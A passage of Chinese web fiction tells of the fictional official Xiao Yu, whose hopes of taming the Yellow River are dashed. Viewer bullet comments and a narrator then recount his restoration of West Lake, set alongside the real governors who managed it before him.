当年的他尚且年少,听到这荒谬的答案后屡屡上书都水清吏司,结果书谏三百余封无人问津,屡屡受挫,最后只好弃工求儒,十年寒窗,考取功名,借吴家之势才堪堪进入官场。 而那时乾灵帝已经西行,断乾之乱已经发生,黄河水患甚至不再是南乾需要考虑的事情,他所思所想的治水之策彻底从一腔热血变成了一腔泡影。 这个世界上就是有无论如何也做不到的事情。 这个世界上就是这么不讲道理不遂人愿。 枭雨终于意识到,他童年中幻想的自己的千秋伟业,根本就是空中楼阁,追逐只会一事无成。 千里马候伯乐,可他只是自以为千里马。 他自认为无所不能,可他对这片土地上的一切苦难无所可能。 于是枭雨叹了口气,现在活着就足够让人欣喜,又要追求些什么呢? 所谓的一展抱负,都是痴人所说的梦罢了。 弹幕也像是被无语到了:(……怎么说呢,一点都不意外,不愧是你,乾灵帝。) (我要是枭雨我确实不想挣扎了。无法救人的技工,即使握在手中又有何用?) (不过如果没有枭知府的话,我们命运多舛的西湖可是又保不住了啊啊啊,就个人意见来说——临安真的需要枭雨啊!) 【是的,我看弹幕有家人也说了,枭雨虽然一直在官场屡屡碰壁,但是在临安也确实做的不错,后面被武帝发现他的真正才干也是因为他在临安的功绩——治理西湖。】 【大家都知道,杭州的美丽被历代文人墨客歌颂千年不朽,但其实占了杭州之美一半的西湖相当命运多舛。唐时李泌,白居易二人治理西湖,五代时吴越国钱镠创立撩湖军,专职负责打捞湖底葑草、清除淤泥。北宋苏太守又再次大刀阔斧的治理……一代代刺史,太守,知府的治理才让西湖变成现在的样子。 而枭雨也不例外,他在任期间认真研究了蓄泄,先是深挖湖底加大蓄水量,然后设计了完备的管理制度管理泄水,又在钱塘江口修建筑闸,防止海水倒灌,最后疏浚六井,保障农业用水,让西湖“一时丰美”。】 【不过,这都不是枭雨能成为“禹李之后”的决定性功绩,真正的决定性功绩……是他提出了超前的一项工程设计。 而治理的对象是…… 肘击中原五千年的黄河。】